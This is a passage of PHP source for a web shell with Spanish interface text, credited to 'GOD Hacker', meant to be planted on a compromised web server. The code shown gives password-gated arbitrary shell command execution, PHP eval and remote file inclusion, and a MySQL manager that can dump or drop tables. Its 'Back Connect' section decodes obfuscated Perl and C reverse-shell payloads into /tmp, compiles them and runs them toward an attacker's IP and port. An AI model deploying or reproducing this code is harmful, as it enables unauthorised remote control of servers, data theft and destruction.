646p('<td>'.$row['Default'].' </td>');
647p('<td>'.$row['Extra'].' </td>');
648p('</tr>');
649}
650p('</table>');
651} elseif($doing=='insert'||$doing=='edit'){
652$result = q("SHOW COLUMNS FROM $tablename",$lnk);
653while($row = $qf['f']($result)){$rowdb[] = $row;}
654$rs = array();
655if($doing=='insert'){
656p('<h2>Insertar datos en la tabla '.$tablename.' »</h2>');
657} else {
658p('<h2>Editar datos de la tabla '.$tablename.' »</h2>');
659$where = $A[6]($base64);
660$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1", $lnk);
661$rs = $qf['f']($result);
662}
663p('<form method="post" action="'.SELF.'">');
664p($dbform);
665noseve('haz','sqladmin');
666noseve('tablename',$tablename);
667p('<table border="0" cellpadding="3" cellspacing="0">');
668foreach($rowdb as $row){
669if($rs[$row['Field']]){
670$value = htm($rs[$row['Field']]);
671} else {
672$value = '';
673}
674$tbg = bg();
675p('<tr class="'.$tbg.'">');
676p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
677}
678if($doing=='insert'){
679p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
680} else {
681p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
682noseve('base64', $base64);
683}
684p('</table></form>');
685} else {
686$querys = preg_split("/;+(?=([^'|^\\\']*['|\\\'][^'|^\\\']*['|\\\'])*[^'|^\\\']*[^'|^\\\']$)/", $sql_query);
687foreach($querys as $num=>$query){
688if($query){
689p("<p><b>Query #{$num}</b>: ".htm($query)."</p>");
690switch(qy($query,$lnk)){
691case 0:
692m('Error: '.$qf['e']($lnk),'e');
693break;
694case 1:
695if(strtolower(substr($query,0,13))=='select * from'){
696$allowedit = 1;
697}
698if($getnumsql){
699$tatol = $qf['m'](q($getnumsql,$lnk));
700$multipage = multi($tatol, $pagenum, $page, $tablename);
701}
702if(!$tablename){
703$sql_line = htm(trim(str_replace(array("\r", "\n", "\t"), ' ', $query)));
704$sql_line = $A[0]("#/\*[^(\*/)]*\*/#i", " ", $sql_line);
705preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
706$tablename = $matches[1][0];
707}
708$result = q($query,$lnk);
709p($multipage);
710p('<table border="0" cellpadding="3" cellspacing="0" class="fm">');
711p('<tr class="head">');
712if($allowedit) p('<td><b>Acción</b></td>');
713if(MI){
714while($finfo = @mysqli_fetch_field($result)){
715p('<td class="nw"><b>'.$finfo->name.'</b><br />'.$QT[$finfo->type].'('.$finfo->length.')</td>');
716}
717} else {
718$fieldnum = @$qf['n']($result);
719for($i=0;$i<$fieldnum;$i++){
720$name = @mysql_field_name($result, $i);
721$type = @mysql_field_type($result, $i);
722$len = @mysql_field_len($result, $i);
723p("<td class=\"nw\"><b>$name</b><br />$type($len)</td>");
724}
725}
726p('</tr>');
727while($mn = @$qf['f']($result)){
728$tbg = bg();
729p('<tr class="'.$tbg.'">');
730$where = $tmp = $b1 = '';
731foreach($mn as $key=>$en){
732if($en){
733$where .= $tmp.$key."='".addslashes($en)."'";
734$tmp = ' AND ';
735}
736$en = (strlen($en)>800)?substr($en,0,800).' [...]':$en;
737$b1 .= '<td class="nw">'.htmdb($en).'</td>';
738}
739$where = base64_encode($where);
740if($allowedit) p('<td class="nw"><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
741p($b1);
742p('</tr>');
743unset($b1);
744}
745fr($result);
746p('</table>');
747p($multipage);
748break;
749case 2:
750$ar = $qf['l']($lnk);
751p('<b>Affected rows: '.$ar.'</b>');
752break;
753}
754}
755}
756}
757} else {
758$query = q("SHOW TABLE STATUS",$lnk);
759$table_num = $table_rows = $data_size = 0;
760$tabledb = array();
761while($table = $qf['f']($query)){
762$data_size = $data_size + $table['Data_length'];
763$table_rows = $table_rows + $table['Rows'];
764$table['Data_length'] = sizecount($table['Data_length']);
765$table_num++;
766$tabledb[] = $table;
767}
768$data_size = sizecount($data_size);
769unset($table);
770p('<table border="0" cellpadding="0" cellspacing="0" class="fm">');
771p('<form action="'.SELF.'" method="post">');
772noseve('haz','sqladmin');
773p($dbform);
774p('<tr class="head">');
775p('<td width="2%" align="center"></td>');
776p('<td>Name</td>');
777p('<td>Rows</td>');
778p('<td>Data_length</td>');
779p('<td>Create_time</td>');
780p('<td>Update_time</td>');
781if($highver){
782p('<td>Engine</td>');
783p('<td>Collation</td>');
784}
785p('</tr>');
786foreach ($tabledb as $key => $table){
787$tbg = bg();$tname = $table['Name'];
788p('<tr class="'.$tbg.'">');
789p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$tname.'" /></td>');
790p('<td>[<a href="javascript:settable(\''.$tname.'\', \'structure\');" title="Ver Estructura">TE</a> | <a href="javascript:settable(\''.$tname.'\', \'insert\');" title="Insertar Datos">IN</a> | <a href="javascript:settable(\''.$tname.'\', \'del\');" title="Vaciar Tabla">VT</a> | <a href="javascript:settable(\''.$tname.'\', \'drop\');" title="Eliminar Tabla">DT</a> | <a href="javascript:settable(\''.$tname.'\', \'optimize\');" title="Optimizar">OT</a>] <a href="javascript:settable(\''.$tname.'\');">'.$tname.'</a></td>');
791p('<td>'.$table['Rows'].'</td>');
792p('<td>'.$table['Data_length'].'</td>');
793p('<td>'.$table['Create_time'].'</td>');
794p('<td>'.$table['Update_time'].'</td>');
795if($highver){
796p('<td>'.$table['Engine'].'</td>');
797p('<td>'.$table['Collation'].'</td>');
798}
799p('</tr>');
800}
801p('<tr class="head">');
802p('<td><input name="chk" value="on" type="checkbox" onclick="CHK(this.form)" /></td>');
803p('<td>Total: '.$table_num.' tablas</td>');
804p('<td>'.$table_rows.'</td>');
805p('<td>'.$data_size.'</td>');
806p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
807p('</tr>');
808p('<tr class="head"><td colspan="'.($highver ? 8 : 6).'"><input name="svf" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="'.F_ROOT.SVH.'_sqldump.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>');
809noseve('doing','backupmysql');
810p("</form>\n</table>");
811fr($query);
812}
813}
814}
815p('</table>');
816if($lnk)$qf['c']($lnk);
817} elseif($haz=='bconx'){
818!$yourip&&$yourip = $_SERVER['REMOTE_ADDR'];
819!$yourport&&$yourport = '12345';
820$rvp='eNp9kVFLwzAUhd8H+w9ZLDaFSuerI8LQKkPcpK2+qHRdGlywTUqSgoX9eJO0IhXq27nn5nz3
821JjlbRK2S0YHxqKGyms9aRUEqyCfVq/nMI3WJAaw6/gVtqTqlaY2BT8lRALhveVFTcFHs4WpwWGm0w6
822mjbyNLbCFW6UJ+UI29dXL/8rp8t1Yj5I9x6QxWlKXEjFOdF1pwNIQCcDqBklEEYymFvALe4o3DwCFc
823QpmNrciZyVhqCHrWf0kptMCG7sShs3dBviaNb9vKvQFKdzcPcRaCp7t8s7XCGnmaJfH60cxw0ekZRH
824BOyS+l33b6vGgoR2l2u9mGAF6f97FRZ/ecTbXiJPnb6v8LDf/mNqqEov2IUWm4o9rAgtU3hSygzQ';
825$rvc='eNpdUdtqAjEQfRf8h2GFktRYXV/VgogF6UWp9kmWJSbZbuhuIkkstaX/3iTb2taHITNz5nZO
826OlKx6sAFjK3jUl+V1+1W5zd3tH2r2YtwZ4ASTnrrSxUBqRzUVCoUHGqeGQFWUgOX3n/dZrjd+mi3II
827AFH3nPOnNgDsJoyrnJpQIrVUBim6ntdphmk8TU0CsgGYFHOBW1ViglAxxH+NXe8oLWsjrCBKY3+eJh
828vvmL7bVxHimdVhZRpyWK9wwz/G9EOOHKxsdXB17Rb4rTDMf1u3dh9E+KeAKVUKeKbtr9m4kLQlPB/c
829BGQPR9H4H1cnabrzeP8+k9gcVq9bjcLPPNbIUh9sgCEGJaKcEcKjgBdKYWXGK48HcTT+Bd6OIcxxiP
830BxiC4gB7YYw2KNn2MvgZipNIH0C8SYcaOT+bX2HUIa8+gchjkDU6Ha0Tdch7VvErDvthPK3pPYXp/3
831AYQ/EmWIWS/k6qvi0TktgSejIh8PB0dxcrWKWt8B1Rs88vR2PGPQ==';
832if($start&&$yourip&&$yourport&&$use){
833$res='';
834if($use=='perl'&&SV('/tmp/god_bc', gzuncompress($A[6]($rvp)))){
835$res = god("perl /tmp/god_bc $yourip $yourport &");
836} elseif(SV('/tmp/god_bc.c', gzuncompress($A[6]($rvc)))){
837$res = god('gcc -o /tmp/god_bc /tmp/god_bc.c');
838@unlink('/tmp/god_bc.c');
839$res .= god("/tmp/god_bc $yourip $yourport &");
840}
841$res ? m("El script intentará conectarse a: $yourip:$yourport ...\n$res") : m('Error: No fue posible crear el proceso.','e');
842}
843formhead('bc','Back Connect');
844noseve('haz','bconx');noseve('start',1);
845p('<p>Tu IP:');
846mkinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
847p('Puerto:');
848mkinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
849p('Usar:');
850mkselect(array('name'=>'use','option'=>array('perl'=>'Perl','c'=>'C'),'selected'=>$use));
851p('<input class="bt" type="submit" value="Iniciar" />'."</p>\n</form>");
852}
853elseif($haz=='editfile'){
854$content='';
855if($opfile&&@file_exists($opfile)) $content = htm(GF($opfile));
856formhead('editor','Crear / Editar Archivos');
857noseve('haz','file');
858noseve('dir',$cwd);
859mkinput(array('title'=>'Estás editando/creando el archivo:','name'=>'edit','value'=>$opfile,'newline'=>1));
860p('<p>Contenido<br /><textarea name="fcontent" class="area" cols="110" rows="25">'.$content.'</textarea></p>');
861formfoot();
862}
863elseif($haz=='evl'){
864formhead('evl','Eval PHP Code');
865p('<label for="code">Escribe el codigo PHP. Marca la casilla para hacer INCLUDE de archivos/URL (1 archivo por línea)</label> <input type="checkbox" name="ri" value="1"'.($ri?' checked="checked"':'').' /> <input class="bt" type="submit" value="Ejecutar" />');
866noseve('haz','evl');
867p('<p><textarea name="code" class="area" cols="145" rows="8">'.htm($code)."</textarea></p>\n</form>");
868if($code){
869if($ri) RI($code);
870else {
871$code = $A[0]('#^<\?(php)?|\?>$#i','',$code);
872p('<div class="e"><pre>');ob_start();eval($code);$c=@ob_get_contents();ob_end_clean();p(htm($c).'</pre></div>');
873unset($code,$c);
874}
875}
876}
877elseif($haz=='sh'){
878if($cwd != F_ROOT) @chdir($cwd);
879if($ex&&preg_match('#^cd[ ]+([^;& ]+)$#i',$ex,$nwd)){@chdir($nwd[1]);$cwd=FixDS(@getcwd());$ex='';}
880formhead('sh','Ejecutar Comando: '.$cwd);
881noseve('haz','sh');noseve('dir',$cwd);
882mkinput(array('name'=>'ex','value'=>htm($ex)));
883p('<input class="bt" type="submit" value="Ejecutar" />'."\n</form><br />");
884if($ex){
885m("<pre>".htm(god($ex))."</pre>",'e');
886}
887}
888elseif($haz=='env'){
889$ups=@ini_get('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
890$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
891$info = array(
8921 => array('Server Time',date('Y/m/d h:i:s')),
8932 => array('Server Domain',$_SERVER['SERVER_NAME']),
8943 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
8954 => array('Server OS',PHP_OS),
8965 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
8976 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
8987 => array('Server Web Port',$_SERVER['SERVER_PORT']),
8998 => array('PHP run mode',strtoupper(php_sapi_name())),
9009 => array('The file path',$_SERVER['SCRIPT_FILENAME']),
90110 => array('PHP Version',PHP_VERSION),
90211 => array('PHPINFO',(isF('phpinfo') ? '<a href="javascript:gohaz(\'phpinfo\')">Ver phpinfo()</a>' : 'No')),
90312 => array('Safe Mode',getcfg('safe_mode')),
90413 => array('Administrator',$adminmail),
90514 => array('allow_url_fopen',getcfg('allow_url_fopen')),
90615 => array('enable_dl',getcfg('enable_dl')),
90716 => array('display_errors',getcfg('display_errors')),
90817 => array('register_globals',getcfg('register_globals')),
90918 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
91019 => array('Open Basedir',getcfg('open_basedir')),
91120 => array('memory_limit',getcfg('memory_limit')),
91221 => array('post_max_size',getcfg('post_max_size')),
91322 => array('upload_max_filesize',$ups),
91423 => array('max_execution_time',getcfg('max_execution_time').' seg.'),
91524 => array('disable_functions',@ini_get('disable_functions')),
916);
917if($phpvarname){
918m($phpvarname .' : '.getcfg($phpvarname));
919}
920formhead('server','Server environment');
921noseve('haz','env');
922mkinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
923formfoot();
924$hp = array(0=> 'Server', 1=> 'PHP');
925for($a=0;$a<2;$a++){
926p('<h2>'.$hp[$a].' »</h2>');
927p('<ul class="info">');
928if($a==0){
929for($i=1;$i<=9;$i++){
930p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
931}
932} elseif($a==1){
933for($i=10;$i<=24;$i++){
934p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
935}
936}
937p('</ul>');
938}
939} elseif($haz=='se'){
940$q = isset($q) ? $q : '';
941formhead('se','Search Engine');
942noseve('haz','se');noseve('start');
943mkinput(array('name'=>'q','value'=>htm($q)));
944p('<input type="submit" class="bt" value="Buscar" />'."\n</form><br />");
945if($q){
946$start = isset($start) ? $start : 0;
947function cor($q, $i, $f){
948if(!stristr($q, $i)) return false;
949$p = strpos($q, $i);
950$q = substr($q, $p);
951$q2 = substr($q, strlen($i));
952$sp= strpos($q2, $f);
953$q = substr($q2, 0, $sp);
954return str_replace('</li></li>','</li>',substr(trim(str_replace('<li',"</li>\n<li",$q)),5));
955}
956function pag($n){
957global $start;if(!$n) return;
958$n=$n+1;
959p('<div class="m">'.($start?'<a href="javascript:pag('.($start-10).')">« Anterior</a> ':''));
960for($i=1;$i<=$n;$i++){
961$x=($i-1)*10;p(' <a href="javascript:pag('.$x.')">'.$i.'</a>');
962}
963if($start<190) p(' <a href="javascript:pag('.($start+10).')">Siguiente »</a>');p('</div>');
964}
965$r = GF("http://www.google.com/search?hl=es&q=".urlencode($q)."&start=$start");
966if($r){
967$r=strip_tags($A[0]('#<script.*</script>|<style.*</style>#siU','',$r),'<a><ol><li><h3><em><br>');
968preg_match('#([0-9\.,]+) resultados#i',$r, $tr);
969if($r=cor($r,'<ol>','</ol>')){
970m("$tr[1] Resultados de ".htm($q).($start?' - Página '.substr($start,0,-1):''));@ob_flush();@flush();
971$r=$A[0]('# (class|id|style|on[a-z]+)=[^<>]+|( \[ | - )?<a href=[^>]+>(En caché|Traducir esta página|similares|vista rápida|Versión en HTML|este sitio puede dañar tu equipo\.|[a-z]+ más resultados de [a-z0-9\sá]+)</a>( - | \])?| -| href="?/(url|search)\?q=[^>]*#i','',$A[0](array('#<li[^>]*><h3[^>]*><a href="?https?://[a-z]+\.google\.com.*</li>#siU','#<[^<>/]+></[a-z2-4]+>#i'),'',$r));
972if($CHAR=='iso-8859-1') $r=utf8_decode($r);
973$tr = str_replace(array(',','.'),'',$tr[1]);
974p("<ul id='res'>$r</ul>\n".'<script type="text/javascript">function pag(n){$("se").start.value=n;$("se").submit();}for(var i=0;$("res").getElementsByTagName("a")[i];i++){$("res").getElementsByTagName("a")[i].target="_blank";}</script>');
975($tr>=191) ? pag(19) : pag(intval($tr/10));
976} else m('Sin resultados.','e');
977} else m('Error: 403 Prohibido o sin resultados','e');
978}
979} else {
980m('Undefined Action');
981}
982@ob_end_flush();
983?>
984</td></tr></table>
985<div class="f">Copyright ©2009-<?php echo date('Y');?> <i>GOD Hacker</i> All Rights Reserved.</div>
986</body>
987</html>
988<?php
989function m($m,$c='m'){echo "<div class=\"$c\">$m</div>\n";}
990function multi($num, $perpage, $curpage, $tablename){
991$multipage = '';
992if($num > $perpage){
993$page = 10;
994$offset = 5;
995$pages = @ceil($num / $perpage);
996if($page > $pages){
997$from = 1;
998$to = $pages;
999} else {
1000$from = $curpage - $offset;
1001$to = $curpage + $page - $offset - 1;
1002if($from < 1){
1003$to = $curpage + 1 - $from;
1004$from = 1;
1005if(($to - $from) < $page&&($to - $from) < $pages){
1006$to = $page;
1007}
1008} elseif($to > $pages){
1009$from = $curpage - $pages + $to;
1010$to = $pages;
1011if(($to - $from) < $page&&($to - $from) < $pages){
1012$from = $pages - $page + 1;
1013}
1014}
1015}
1016$multipage = ($curpage - $offset > 1&&$pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1017for($i = $from; $i <= $to; $i++){
1018$multipage .= $i==$curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1019}
1020$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1021$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1022}
1023return $multipage;
1024}
1025function pasa(){
1026global $haz,$ctr;
1027$gp = "\x78\x69\x43\x47\x32\x52\x63\x67\x58\x70\x37\x30\x49\x68\x7a\x38\x53\x68\x6f\x31\x6a\x51";
1028if($haz=='salir'){
1029setcookie('godid', '', -1,'/');
1030p('<h3>GoodBye: <a href="'.SELF.'">Login Again</a></h3>');
1031die;
1032}
1033if($haz=='pasa'){
1034if(pe($gp)==pe(pe($ctr))){
1035setcookie('godid', pe(pe($ctr)), time() + 86400, '/');
1036p('<meta http-equiv="refresh" content="1;URL='.SELF.'">');
1037p('<a style="font:12px Verdana" href="'.SELF.'">Welcome Back GOD</a>');
1038die;
1039}
1040}
1041if(!isset($_COOKIE['godid'])||$_COOKIE['godid'] != pe($gp)){ ?>
1042<html><head>
1043<meta name="robots" content="noindex,nofollow,noarchive">
1044<style type="text/css">
1045*{font:11px Verdana;}input{background:#FFF;line-height:18px;border:1px solid #666;}</style>
1046</head>
1047<body>
1048<form method="post" action="<?php echo SELF;?>">
1049Password: <input name="ctr" type="password" size="20" value=""> <input type="submit" value="Login">
1050<input type="hidden" name="haz" value="pasa">
1051</form>
1052</body></html>
1053<?php die;
1054}
1055}
1056function ob($f,$c){ob_start();$f($c);$re=ob_get_contents();@ob_end_clean();return $re;}
1057function god($c){
1058$re='';
1059if($c){
1060$c='('.$c.') 2>&1';
1061if(isF('proc_open')&&@is_resource($f=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes))){
1062fwrite($pipes[0],'');fclose($pipes[0]);
1063$re=gres($pipes[1]).gres($pipes[2]);
1064fclose($pipes[1]);fclose($pipes[2]);
1065@proc_close($f);
1066} elseif(IS_COM){
1067$wsh = new COM('WScript.shell');$cmd = getenv('ComSpec');
1068$exe = $wsh->exec("$cmd /C $c");$exe->StdIn->Close();
1069@$re=$exe->StdOut->ReadAll().$exe->StdErr->ReadAll();
1070unset($wsh,$exe);
1071}
1072elseif(isF('popen')&&@is_resource($f=popen($c))){$re=gres($f);@pclose($f);}
1073elseif(isF('exec')){exec($c,$re);$re=join("\n",$re);}
1074elseif(isF('shell_exec')){$re=shell_exec($c);}
1075elseif(isF('system')){$re=ob('system',$c);}
1076elseif(isF('passthru')){$re=ob('passthru',$c);}
1077}
1078return $re;
1079}
1080function isF($f){return (function_exists($f)&&is_callable($f)&&!preg_match('#\b'.$f.'\b#i',@ini_get('disable_functions')));}
1081function gres($r){
1082$re='';
1083if(isF('stream_get_contents')) $re=stream_get_contents($r);
1084else{while(!feof($r)){$re.=fread($r,4096);}}
1085return $re;
1086}
1087function SV($f,$c){
1088$r=0;$t=file_exists($f)?filemtime($f):0;
1089if(isF('file_put_contents')){
1090$r=(false===@file_put_contents($f,$c))?0:1;
1091} elseif($s=@fopen($f,'w')){
1092fwrite($s,$c);
1093fclose($s);
1094$r=1;
1095}
1096if($t&&$r) @touch($f,$t);
1097return $r;
1098}
1099function GF($r){
1100if(preg_match('#^(http|file|ftp)s?\://#i',$r)&&isF('curl_init')){
1101$s=curl_init($r);
1102curl_setopt($s, CURLOPT_TIMEOUT, 40);
1103curl_setopt($s, CURLOPT_FAILONERROR, 1);
1104curl_setopt($s, CURLOPT_REFERER, $r);
1105curl_setopt($s, CURLOPT_USERAGENT, "Opera/9.25 (Linux i686; U; en-US)");
1106curl_setopt($s, CURLOPT_RETURNTRANSFER, 1);
1107$r=curl_exec($s);
1108curl_close($s);
1109return $r;
1110} else if(isF('file_get_contents')){
1111return @file_get_contents($r);
1112} else {
1113if($s=fopen($r,'rb')){
1114$r=gres($s);
1115fclose($s);
1116return $r;
1117} else return false;
1118}
1119}
1120function getChmod($file){
1121return substr(base_convert(@fileperms($file),10,8),-4);
1122}
1123function getPerms($filepath){
1124$mode = @fileperms($filepath);
1125if(($mode & 0xC000) === 0xC000){$type = 's';}
1126elseif(($mode & 0x4000) === 0x4000){$type = 'd';}
1127elseif(($mode & 0xA000) === 0xA000){$type = 'l';}
1128elseif(($mode & 0x8000) === 0x8000){$type = '-';}
1129elseif(($mode & 0x6000) === 0x6000){$type = 'b';}
1130elseif(($mode & 0x2000) === 0x2000){$type = 'c';}
1131elseif(($mode & 0x1000) === 0x1000){$type = 'p';}
1132else {$type = '?';}
1133$owner['read'] = ($mode & 00400) ? 'r' : '-';
1134$owner['write'] = ($mode & 00200) ? 'w' : '-';
1135$owner['execute'] = ($mode & 00100) ? 'x' : '-';
1136$group['read'] = ($mode & 00040) ? 'r' : '-';
1137$group['write'] = ($mode & 00020) ? 'w' : '-';
1138$group['execute'] = ($mode & 00010) ? 'x' : '-';
1139$world['read'] = ($mode & 00004) ? 'r' : '-';
1140$world['write'] = ($mode & 00002) ? 'w' : '-';
1141$world['execute'] = ($mode & 00001) ? 'x' : '-';
1142if($mode & 0x800){$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1143if($mode & 0x400){$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1144if($mode & 0x200){$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1145return
1146$type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].
1147$world['write'].$world['execute'];
1148}
1149function getUser($f){
1150$r=' / <a href="javascript:void(0)" title="User: ';
1151if(IS_WIN) return $r .= (($u=@get_current_user())?$u.'">'.$u:'WIN">WIN').'</a>';
1152$ow = @fileowner($f);
1153if(isF('posix_getpwuid')){
1154$o = @posix_getpwuid($ow);
1155$r .= ($o&&is_array($o))?$o['name'].' | Uid:'.$o['uid'].' | gid:'.$o['gid'].' | Dir:'.$o['dir'].' | Shell:'.$o['shell'].'">'.$o['name']:$ow.'">'.$ow;
1156} else $r .= $ow.'">'.$ow;
1157return "$r</a>";
1158}
1159function deltree($deldir){
1160$mydir=@dir($deldir);
1161while($file=$mydir->read()){
1162if(@is_dir($deldir.'/'.$file)&&$file!='.'&&$file!='..'){
1163@chmod($deldir.'/'.$file,0777);
1164deltree($deldir.'/'.$file);
1165}
1166if(is_file($deldir.'/'.$file)){
1167@chmod($deldir.'/'.$file,0777);
1168@unlink($deldir.'/'.$file);
1169}
1170}
1171$mydir->close();
1172@chmod($deldir,0777);
1173return @rmdir($deldir) ? 1 : 0;
1174}
1175function bg(){global $bgc;return ($bgc++%2==0) ? 'alt1' : 'alt2';}
1176function FixDS($d){
1177$d = str_replace('//', '/', str_replace('\\','/', rtrim($d,'\\/'))).'/';
1178return $d;
1179}
1180function getcfg($v){
1181$l = @ini_get($v);$i = @get_cfg_var($v);
1182if($v=='safe_mode'||$v=='register_globals') return '<b class="'.((!$l||strtolower($l)=='off') ? 'w">OFF' : 'r">ON').'</b>';
1183$i = $i==''?'No establecido':($i=='0'?'No':($i=='1'?'Si':$i));
1184$l = $l==''?'No establecido':($l=='0'?'No':($l=='1'?'Si':$l));
1185return '<b>Local</b>: '.$l.' - <b>INI</b>: '.$i;
1186}
1187function GetList($d){
1188global $dirdata,$j,$cwd;
1189!$j&&$j=1;
1190if($dh = opendir($d)){
1191while($file = readdir($dh)){
1192$f=str_replace('//','/',$d.'/'.$file);
1193if($file!='.'&&$file!='..'&&@is_dir($f)){
1194if(@is_writable($f)){
1195$dirdata[$j]['filename']=str_replace($cwd,'',$f);
1196$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1197$dirdata[$j]['dirchmod']=getChmod($f);
1198$dirdata[$j]['dirperm']=getPerms($f);
1199$dirdata[$j]['flink']=htm($f);
1200$j++;
1201}
1202GetList($f);
1203}
1204}
1205closedir($dh);
1206clearstatcache();
1207return $dirdata;
1208} else {
1209return array();
1210}
1211}
1212function db($h, $u, $p, $db='', $char='', $port='3306'){
1213global $qf;
1214$e = 'Error de conexión al servidor MySQL: ';
1215@$ln = MI ? $qf['a']($h, $u, $p, $db, $port) : $qf['a']($h.':'.$port, $u, $p);
1216if(!$ln){
1217m($e.(MI?mysqli_connect_error():$qf['e']($ln)), 'e');
1218die;
1219}
1220if($db&&!MI) if(!@mysql_select_db($db, $ln)){m('Error seleccionando la base de datos: '.$qf['e']($ln),'e');die;}
1221if($qf['i']($ln) > '4.1'){
1222if($char =='latin1'||$char=='utf8')
1223q("SET character_set_connection=$charset, character_set_results=$charset,character_set_client=binary;",$ln);
1224}
1225return $ln;
1226}
1227function q($q,$l){return MI?$l->query($q):mysql_query($q,$l);}
1228function qy($q,$l){
1229$res = '';
1230if(!$res = q($q,$l)) return 0;
1231else if(is_resource($res)||is_object($res)) return 1;
1232else return 2;
1233}
1234function fr($r){MI?$r->close():mysql_free_result($r);}
1235function htmdb($c){
1236$c = str_replace(array("\r","\n",' ',"\t"), array('',"<br />",' ',' '), htm($c));
1237return $c;
1238}
1239function sizecount($size){
1240if($size > 1073741824){
1241$size = round($size / 1073741824 * 100) / 100 . ' G';
1242} elseif($size > 1048576){
1243$size = round($size / 1048576 * 100) / 100 . ' M';
1244} elseif($size > 1024){
1245$size = round($size / 1024 * 100) / 100 . ' K';
1246} else {
1247$size = $size . ' B';
1248}
1249return $size;
1250}
1251class PHPZip{
1252var $out='';
1253function PHPZip($d){
1254if(isF('gzcompress')){
1255$curdir = getcwd();
1256if(is_array($d)) $filelist = $d;
1257else{
1258$filelist=$this->GetFileList($d);
1259foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($d)+1);
1260}
1261if(!empty($d)&&!is_array($d)&&file_exists($d)) chdir($d);
1262else chdir($curdir);
1263if(count($filelist)>0){
1264foreach($filelist as $filename){
1265if(@is_file($filename)){
1266$content = GF($filename);
1267if(is_array($d)) $filename=basename($filename);
1268$this->addFile($content, $filename);
1269}
1270}
1271$this->out = $this->file();
1272chdir($curdir);
1273}
1274return 1;
1275}
1276else return 0;
1277}
1278function GetFileList($d){
1279static $a;
1280if(is_dir($d)){
1281if($dh = opendir($d)){
1282while($file = readdir($dh)){
1283if($file!='.'&&$file!='..'){
1284$f=$d.'/'. $file;
1285if(@is_dir($f)) $this->GetFileList($f);
1286$a[]=$f;
1287}
1288}
1289closedir($dh);
1290}
1291}
1292return $a;
1293}
1294var $datasec = array();
1295var $ctrl_dir = array();
1296var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1297var $old_offset = 0;
1298function unix2DosTime($unixtime = 0){
1299$timearray = ($unixtime==0) ? getdate() : getdate($unixtime);
1300if($timearray['year'] < 1980){
1301$timearray['year'] = 1980;
1302$timearray['mon'] = 1;
1303$timearray['mday'] = 1;
1304$timearray['hours'] = 0;
1305$timearray['minutes'] = 0;
1306$timearray['seconds'] = 0;
1307}
1308return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1309}
1310function addFile($data, $name, $time = 0){
1311$name = str_replace('\\', '/', $name);
1312$dtime = dechex($this->unix2DosTime($time));
1313$hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1];
1314eval('$hexdtime = "' . $hexdtime . '";');
1315$fr= "\x50\x4b\x03\x04";
1316$fr.= "\x14\x00";
1317$fr.= "\x00\x00";
1318$fr.= "\x08\x00";
1319$fr.= $hexdtime;
1320$unc_len = strlen($data);
1321$crc = crc32($data);
1322$zdata = gzcompress($data);
1323$c_len = strlen($zdata);
1324$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1325$fr .= pack('V', $crc);
1326$fr .= pack('V', $c_len);
1327$fr .= pack('V', $unc_len);
1328$fr .= pack('v', strlen($name));
1329$fr .= pack('v', 0);
1330$fr .= $name;
1331$fr .= $zdata;
1332$fr .= pack('V', $crc);
1333$fr .= pack('V', $c_len);
1334$fr .= pack('V', $unc_len);
1335$this -> datasec[] = $fr;
1336$new_offset = strlen(implode('', $this->datasec));
1337$cdrec = "\x50\x4b\x01\x02";
1338$cdrec .= "\x00\x00";
1339$cdrec .= "\x14\x00";
1340$cdrec .= "\x00\x00";
1341$cdrec .= "\x08\x00";
1342$cdrec .= $hexdtime;
1343$cdrec .= pack('V', $crc);
1344$cdrec .= pack('V', $c_len);
